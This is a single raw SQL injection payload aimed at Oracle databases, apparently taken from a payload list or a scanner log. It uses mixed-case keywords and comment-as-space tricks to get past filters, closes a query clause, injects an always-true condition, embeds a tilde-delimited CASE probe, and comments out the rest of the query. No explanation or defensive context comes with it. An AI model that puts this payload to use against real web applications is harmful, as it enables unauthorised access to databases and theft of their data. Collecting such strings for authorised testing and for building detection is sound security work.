1') WHERE 5451=5451aND/**/4283=(sELect/**/UPPer(chR(126)||%27~%27||(sElecT/**/(cASe/**/When/**/(4283=4283)/**/THEn/**/1/**/ELsE/**/0/**/END)/**/fRom/**/duAL)||%27~%27||CHr(126))/**/frOM/**/Dual/**/whEre/**/dbMS_RANDOm.VaLUE(6976,8150)=1306)-- -